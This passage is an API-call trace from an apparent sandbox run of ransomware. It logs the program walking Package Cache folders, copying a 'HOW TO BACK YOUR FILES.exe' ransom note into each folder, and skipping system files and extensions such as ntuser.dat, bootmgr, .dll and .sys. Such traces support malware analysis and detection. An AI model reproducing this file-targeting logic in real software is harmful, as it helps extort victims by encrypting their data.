	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="bootmgr") returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="temp") returned -1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="pagefile.sys") returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="boot") returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="ids.txt") returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="ntuser.dat") returned 1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="perflogs") returned -1
	[0050.661] lstrcmpiW (lpString1="Patch", lpString2="MSBuild") returned 1
	[0050.661] lstrlenW (lpString="Patch") returned 5
	[0050.661] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*") returned 80
	[0050.661] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="Patch" | out: lpString1="Patch") returned="Patch"
	[0050.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0050.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x599450
	[0050.661] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0050.662] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
	[0050.662] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.662] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0050.662] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch"
	[0050.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0050.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0050.662] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned 84
	[0050.662] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch"
	[0050.662] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.662] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.662] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.662] GetLastError () returned 0x0
	[0050.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.662] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.663] CloseHandle (hObject=0x15c) returned 1
	[0050.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.663] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.663] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.663] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.663] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.663] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.663] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.663] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.663] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.663] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.663] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.663] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f684dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.663] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.663] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2="Apollon865.txt.exe") returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2=".") returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2="..") returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2="windows") returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2="bootmgr") returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2="temp") returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2="pagefile.sys") returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2="boot") returned 1
	[0050.663] lstrcmpiW (lpString1="x64", lpString2="ids.txt") returned 1
	[0050.664] lstrcmpiW (lpString1="x64", lpString2="ntuser.dat") returned 1
	[0050.664] lstrcmpiW (lpString1="x64", lpString2="perflogs") returned 1
	[0050.664] lstrcmpiW (lpString1="x64", lpString2="MSBuild") returned 1
	[0050.664] lstrlenW (lpString="x64") returned 3
	[0050.664] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*") returned 86
	[0050.664] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="x64" | out: lpString1="x64") returned="x64"
	[0050.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0050.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0050.664] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0050.664] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
	[0050.664] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.664] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0050.664] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64"
	[0050.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0050.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0050.664] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned 88
	[0050.664] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" | out: lpString1="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64"
	[0050.664] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.664] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.665] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.665] GetLastError () returned 0x0
	[0050.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.665] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.665] CloseHandle (hObject=0x15c) returned 1
	[0050.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.665] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.665] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.665] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.665] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.665] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.665] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.665] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.665] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.665] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.665] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.665] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f684dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.665] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.665] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0050.665] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.665] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="Apollon865.txt.exe") returned 1
	[0050.665] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="..") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="windows") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="bootmgr") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="temp") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="pagefile.sys") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="boot") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="ids.txt") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="ntuser.dat") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="perflogs") returned 1
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="MSBuild") returned 1
	[0050.666] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0050.666] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*") returned 90
	[0050.666] lstrcpyW (in: lpString1=0x2d3e602, lpString2="Windows6.1-KB2999226-x64.msu" | out: lpString1="Windows6.1-KB2999226-x64.msu") returned="Windows6.1-KB2999226-x64.msu"
	[0050.666] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0050.666] lstrlenW (lpString="Apollon865") returned 10
	[0050.666] lstrcmpiW (lpString1="26-x64.msu", lpString2="Apollon865") returned -1
	[0050.666] lstrlenW (lpString=".dll") returned 4
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".dll") returned 1
	[0050.666] lstrlenW (lpString=".lnk") returned 4
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".lnk") returned 1
	[0050.666] lstrlenW (lpString=".ini") returned 4
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".ini") returned 1
	[0050.666] lstrlenW (lpString=".sys") returned 4
	[0050.666] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".sys") returned 1
	[0050.666] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0050.666] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460"
	[0050.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0050.667] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0050.667] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 69
	[0050.667] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460"
	[0050.667] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.667] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.667] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.667] GetLastError () returned 0x0
	[0050.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.667] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.667] CloseHandle (hObject=0x15c) returned 1
	[0050.667] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.667] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.667] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.668] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.668] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.668] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.668] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.668] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.668] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.668] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.668] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.668] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6aaf30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.668] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.668] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0050.668] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0050.668] lstrlenW (lpString="packages") returned 8
	[0050.668] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned 71
	[0050.668] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0050.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x5c8f30
	[0050.669] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0050.669] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.669] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.669] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
